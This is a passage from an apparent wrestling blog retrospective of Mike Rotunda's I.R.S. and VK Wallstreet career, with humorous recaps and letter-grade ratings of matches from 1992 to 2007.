I.R.S. cranks on a front facelock for a bit as Ted hits an ax handle off the middle rope for two. A double clothesline puts both guys down as this match is DRAGGING. Everything breaks down and the challengers take over. A clothesline puts DiBiase on the floor and there’s the big splash from Typhoon. Jimmy Hart pulls Irwin out to break up the Earthquake splash and the champions walk out to retain the titles.

Rating: D-. I have no idea what the point of this was. The match wasn’t entertaining, it wasn’t good, and the match didn’t accomplish anything. I’m guessing this was supposed to be filler between the other matches, but we already had one of those and that’s what we’re about to get next. Nothing to see here at all.

Money Inc. would dominate the division for over a year and hold the titles going into arguably IRS’ biggest match ever at Wrestlemania IX.

Tag Titles: Money Inc. vs. Mega Maniacs

Jimmy Hart is with the challengers because of how the champions hurt Beefcake. Hogan and Beefcake clear the ring while the music is still playing as the match begins. The champions stall on the floor for awhile until we get down to Beefcake (in a red/yellow mask) vs. I.R.S. The tax dude immediately goes for the face and it’s off to DiBiase for more of the same. DiBiase hits a middle rope ax handle to the mask and injures himself in the process. Ted continues to act way dumber than he is by ramming the mask into the buckle. So why did the punches work earlier?

Beefcake rams DiBiase’s head into the buckle instead and in the match we should have gotten five years ago, it’s Hogan vs. DiBiase. Ten punches in the corner put Ted down so Hogan pounds on the mat a bit. Off to Beefcake for a slam before it’s back to hogan for more punching. DiBiase ducks low and is immediately punched in the face again. I.R.S. comes in again and is punched by both Maniacs. All challengers so far.

The champions try to walk out but Finkus Maximus (remember the Roman theme) says that if they leave, they lose the titles. They get back in and the fans are chanting for Hogan. Ted goes for the throat to finally take over and I.R.S. chokes away a bit from the floor. More choking by DiBiase ensues before he cranks it up with the Million Dollar Dream. Savage: “They’re hanging from the rafter! Well they would if they had rafters. They have columns here and they’re hanging from them!”

I.R.S. tries to interfere for some reason but it allows Beefcake to come in with his own sleeper and put DiBiase out to break the hold and buy Hogan a breather. Hogan pops up and the double tag brings in Schyster to face Beefcake. An atomic drop puts Ted on the floor but the tax dude gets in a shot to Beefcake’s back to take over. Dibiase comes back in and rips the mask off of Brutus’ face so the champions can work over the face.

Beefcake comes back with a double clothesline out of nowhere but instead of tagging he puts I.R.S. in the sleeper. Ted breaks it up but the referee is bumped in the process. Hogan comes in like a hero and hits both guys with the steel mask but there’s no referee. What else do you do in this situation? You have Jimmy Hart turn his jacket inside out so it has white and black stripes and have him count then CELEBRATE LIKE YOU WON THE FREAKING BELTS. Another referee comes out to explain to Hogan how stupid he is and give Money Inc. the win by DQ.

Rating: D+. The match was ok at best but the ending is so dumb that I can barely comprehend it. I mean…..HOW STUPID CAN HOGAN POSSIBLY BE??? The guy has been around for nearly ten years and he thinks that would actually work? The match was just ok as it was mainly choking and punching for the first half, which is decent but nothing mind blowing. Then the ending sucked the life out of my brain which is normal for Hogan a lot of the time.

Lots of posing ensues but then the Maniacs open Money Inc.’s briefcase. They find tax forms, cash, and a brick. Heenan: “Well you never know when you’re gonna need a brick.” Hogan gives the money away and Heenan is suddenly a huge fan.

IRS would get a rare singles match at Summerslam 1993 against an upcoming star in the 1-2-3 Kid.

I.R.S. vs. 1-2-3 Kid

The Kid is relatively new at this point, having shocked the world by beating Razor Ramon in May. He also beat IRS’ partner DiBiase recently so IRS is here for revenge and to stop the Kid’s lucky streak. The Kid is launched into the air and bounces off the mat for early control but he dropkicks IRS out of the air on a second attempt. Nice psychology there, but IRS knocks him to the floor a few seconds later.

Kid comes back in with a sunset flip for two but gets caught in an abdominal stretch to drag the match out even longer. We hit the chinlock for a bit before Kid takes him to the corner for some kicks and a moonsault press for two. A side roll gets two as Heenan is losing his mind. Kid dropkicks him down for two more, but IRS hits a flying clothesline for the pin out of nowhere.

Rating: D. What in the world was that? The Kid had been undefeated since May and you have him lose to a jobber to the stars in IRS? I don’t get the thinking here at all and it would continue to make little sense as the Kid would only lose one more singles match this year, and not again until next June. Yet he loses to IRS here? I don’t get it.

IRS would get a very rare title match at the 1994 Royal Rumble against Intercontinental Champion Razor Ramon.

Intercontinental Title: IRS vs. Razor Ramon

Guess who is defending here. JR and Gorilla Monsoon do commentary for this match. IRS goes on a big rant about how evil the crowd here is for not paying their taxes, even though they have about three months left to file. Razor goes off on IRS to start, knocking him out to the floor. IRS comes back with some forearms but Razor punches him right back down to take over again.

Ramon hits a bunch of basic stuff like atomic drops and clotheslines for some two counts, but IRS ducks under a clothesline to send Razor out to the floor. Back in and IRS goes up but jumps into a boot. For one of the only times I can EVER remember this happening, IRS avoids the foot and drops an elbow for two instead. WHY IS THAT SO HARD FOR PEOPLE TO DO???

We hit the chinlock for well over a minute before Razor fights up and hits the fallaway slam. The referee gets knocked out in the corner and IRS grabs his briefcase, only for Razor to take it back and clock him in the head with it. No referee though, so Razor loads up a belly to back superplex. There’s still no referee, so Razor sets for the Edge, only to have Shawn run out and clock him with the fake IC Title. IRS finally wakes up and pins Razor for the title.

Rating: D+. This wasn’t bad but the overbooking hurt it a lot. This should have lasted about three minutes less and it would have been a lot better. Oddly enough I don’t remember IRS being champion at all, but then again this is the remastered version so maybe they really cleaned things up.

Or maybe another referee comes out to explain the interference and the match is restarted. Razor hits the Edge to retain.

He would find himself in the King of the Ring later that year again against a future tournament winner.

First Round: IRS vs. Mabel

Donovan wonders if IRS is one of the wrestlers. This is depressing. If nothing else, Rotunda had this gimmick down to the absolute T. Is Oscar like the grandfather of R-Truth or something? Oh dang it my video skips back a bit and I have to watch the intro twice. Gorilla shouts HO which just isn’t right at all as my childhood innocence (yes I still have some) is scarred forever.

Donovan asks for Mabel’s name. 14 seconds later he gets an answer. Oh, Mabel beat Pierre and IRS beat Scott Steiner. Wow that’s just odd indeed. Donovan says this match isn’t fair. Seriously, who thought this was a good idea? He actually gets a somewhat decent line in by saying he thought the guy in the white suit (Oscar) was there to take IRS to the hospital. Eh ok I guess that’s not bad.

He follows that up with this gem: “And you guys enjoy doing this?” He’s referring to being in the ring, but that’s never specified and it sounds like he’s saying he’s miserable doing the announcing. Again, there’s no mention of Savage having tournament experience for no apparent reason. He won the biggest tournament of all time so wouldn’t it make sense to point that out for younger viewers who aren’t sure who Savage is?

IRS goes for a slam and Mabel counters it with a small package. Yes, that’s what happened and I’m not on any medication or foreign substances other than some grape juice. Mabel starts to dominate, but he goes to the middle rope and misses an elbow. IRS grabs his leg without actually hooking it and while Mabel rolls around on the mat with his arms going up into the air, he gets the three anyway. This was just out there.

Rating: D. This was pretty bad. For one thing, IRS’ finisher is a clothesline. Mabel somehow wasn’t at his worst here as he could still move a bit, but the styles just completely contrasted here and it bombed badly. The ending sucked too as it just didn’t look right at all. It needed to be about a minute long but it was five and a half times that long so there we are.

It was soon back to the teaming as IRS would join the recently retired Ted DiBiase’s Million Dollar Team. They would open up Summerslam 1994.

Headshrinkers vs. Bam Bam Bigelow/I.R.S.

Bigelow and IRS are part of DiBiase’s Million Dollar Team. This was originally going to be for the belts but the Samoans lost the titles last night. The production values have been upgraded by this show as we now have logos for every team/wrestler in the aisle as they come to the ring. The Headshrinkers have Afa and Lou Albano with them which I believe was Albano’s last managing job in the company.

Bigelow runs over Fatu to start but misses a charge and walks into a superkick for two. A slam doesn’t work on Bigelow so he comes back with an enziguri. That shouldn’t work on Fatu and thankfully he rolls away from the diving headbutt. Off to Samu for a double superkick but the Samoan misses a charge, allowing for the tag off to IRS. Now it’s the tax man’s turn to miss a charge in the corner and fall outside where Samu sends him into the steps. Back in and Fatu stays on IRS until Bigelow pulls the top rope down to send Fatu out to the floor.

The Million Dollar Team takes over on Fatu but a double clothesline puts he and Bigelow down. A double tag brings in Samu to face IRS as things break down a bit. A middle rope headbutt gets two on IRS and Bigelow is clotheslined out to the floor. IRS takes a double Stroke and Fatu adds the top rope splash but DiBiase has the referee. Bigelow goes after Albano which draws in Afa for the DQ.

Rating: D+. A DQ? In the opening match? 1994 was an odd year for this company. The match wasn’t bad but the lack of the titles being on the line brought the level of interest way down. Without that it was a Superstars main event which is ok, but the Headshrinkers were never in any real trouble at all and it wasn’t much to see.

The Million Dollar Team would feud with Undertaker for several years, including this from Royal Rumble 1995.

IRS vs. The Undertaker

This is the start of the Undertaker vs. Million Dollar Team feud which went on FOREVER. The bell rings and we stand around a lot. IRS tries to jump Taker from behind and it goes nowhere. Taker glares him down to the floor and the stalling continues. IRS slides in, gets glared down, and hides on the floor again. Finally we head back in with IRS pounding away and getting kicked in the face for his efforts.

Taker grabs him by the tie and swings him out of the corner, followed by Old School as this is dominance so far. IRS and DiBiase get in an argument on the floor, causing DiBiase to call for some druids. Taker loads up Old School again but the druid shakes the rope and Taker goes down. A clothesline puts Taker on the floor where he beats on the druids a bit before IRS jumps him from behind.

The druids send Taker into the steps and there’s an abdominal stretch by IRS. That goes nowhere so Taker misses an elbow to really slow himself down. IRS hits some basic stuff as the crowd is almost completely silent. Druid interference gets two for IRS and also allows him to escape the Tombstone. A clothesline puts Taker down but he pops up and hits a chokeslam for the pin.

Rating: D. At the end of the day, this was about thirteen minutes of Taker beating up IRS. I mean….did ANYONE buy IRS as a threat to the Dead Man here? That was the problem with the eight month long feud between Taker and DiBiase’s group: no one on the team was a real threat to him at all. Bad match here but that had to be expected.

It was soon back to WCW where things would go downhill fast as IRS would become VK Wallstreet, a parody of Vince McMahon. He would however get a few big matches in, including this one from May 13, 1996 on Nitro.

VK Wallstreet vs. Ric Flair

It’s IRS if you’re not familiar. Kevin Greene is mentioned and yeah we really do have to do Great American Bash in awhile. Blast it. Liz looks great in short black leather dresses. Heel vs. heel here which is always kind of weird. Technical stuff to start us off and Wallstreet is wrestling face for the most part here. Flair heads to the floor to stall and back in gets his leg worked over by Wallstreet as we take a break.

Back with Wallstreet hammering away which is really surprising. Who in the world is VK Wallstreet that he gets to hammer away on Ric Flair??? Wasn’t Flair world champion the previous week? Powerslam gets two. Sunset flip and backslide both get two and Flair hits the floor. And then VK rams his own knee into the post and you can measure this in seconds now. Figure Four goes on, the girls help, we’re done.

Rating: C+. This was more competitive than it had any right to be and that’s always a good sign. Flair was still more than able to go at this point and the match showed off as a good result. I don’t get why VK Wallstreet of all people was thrown in there but they were trying I guess. Fun little match and better than expected.

Wallstreet would even get a little feud against Konnan, resulting in this match on Nitro from December 30, 1996.

Mr. Wallstreet vs. Konnan

This is the touch the corners variety. Wallstreet, who has no issues with Konnan, jumps him and whips Konnan down. Konnan does the get the strap between the other guy’s legs and pull spot. We get the same finish that you almost always get for this: Wallstreet drags him around, Konnan hits it at the same time, Konnan dives to win it. WHAT WAS THE POINT OF THIS??? It lasted like two minutes and there was no issue between these two.

Wallstreet would join the NWO before going to Japan for a few years. He would however come back in 1999 to reform the Varsity Club for no apparent reason. Here’s their big match from Starrcade 1999.

Jim Duggan/???/???/??? vs. Revolution

Oh and if Duggan loses, the Revolution has to do his janitor job for thirty days, but if Duggan loses he has to renounce his citizenship on Nitro. Duggan’s partners are…..the Varsity Club. Yes, the same three guys (Rick Steiner, Kevin Sullivan and Mike Rotundo) from 1988 are back again for absolutely no apparent reason. Instead of Shane in the match, it’s WCW’s version of WWF bodybuilding chick Chyna, named Asya. Get the joke? Also Benoit isn’t here because of the US Title match later tonight.

Duggan wants to start the match himself so he sticks his tongue out at the Varsity Club. Saturn starts for the Revolution and gets pounded down by Duggan so it’s Malenko’s turn. Jim beats him down as well with the Three Point Clothesline but he doesn’t seem interested in tagging. The Varsity Club yells at him and you can feel the heel turn coming from here. Saturn comes in again with a springboard missile dropkick to take Duggan down.

The Revolution takes turns beating on Duggan in the corner as this is rapidly going nowhere. Dean hits him with the Revolution flag and even Asya gets in some shots of her own. The Varsity Club finally gets bored of standing on the apron and everything breaks down. To the shock of no one paying attention, the former heel stable turns on Duggan and lays him out, allowing Douglas to come in and steal the pin.

Rating: D. As predicted, no one knew who the Varsity Club was so no one cared when they turned on him. Why Duggan would pick them as partners is beyond me, but as mentioned he wasn’t that bright. This was a waste of Malenko and Saturn, which is a big part of why the bailed to the WWF along with Guerrero and Benoit in about a month.

Rotunda would head back to Japan for a few years before retiring. However, we’ll wrap it up with a joke that has a great payoff from the 15th Anniversary Special episode of Raw on December 10, 2007.

15th Anniversary Battle Royal

THE FINK does the intros. We’ve got Al Snow, Bart Gunn (man, where did they drag him out of?), DOINK THE CLOWN, Repo Man, Steve Blackman (in far better shape than he ever was when he was a regular), Pete Gas of the Mean Street Posse, BOB FREAKING BACKLUND (58 years old here and looking to be in better shape than most of the roster), Gangrel, Goon, Skinner, IRS, Flash Funk, Scotty 2 Hotty, Jim Neidhart, Sgt. Slaughter and Gillberg, who gets a full entrance with guards and pyro sticks and canned chants. That’s AWESOME. This is supposed to be a 15 man battle royal but there are 16 in it. Eh who cares?

Gillberg is ganged up on and tossed immediately. Backlund is out quickly and the point of this isn’t who wins but is just for fun. A Head shot by Snow puts Doink out. Same for Gangrel. HEAD CHEESE EXPLODES!!! Skinner is called a fabulous one (haha) and there go Bart, Flash and Blackman. Repo Man puts Goon out and Skinner puts Repo out. Final Four are Slaughter, IRS, Skinner and Scotty. IRS gets his briefcase but gets it knocked into his face so we can see the Worm. Skinner puts Scotty out but walks into the Cobra Clutch. Slaughter dumps Skinner but IRS dumps Slaughter in the same ending from X7?s Gimmick Battle Royal.

BUT WAIT! Here’s Ted DiBiase, who is officially in the battle royal also. However, he says that IRS has his price so IRS dives over the top, making DiBiase the winner! And that my friends, is why Ted DiBiase is better than your favorite heel. We even get the evil laugh! The match isn’t worth rating because that’s not the point. The ending made me smile a lot though.

Rotunda isn’t a guy who had a lot of success in the ring but he was a solid midcard hand over the years. Time has tried to make IRS into a stupid 90s gimmick but it was really a decent gimmick and did what it was supposed to do. Rotunda was never going to be World Champion but not everyone is cut out to be.

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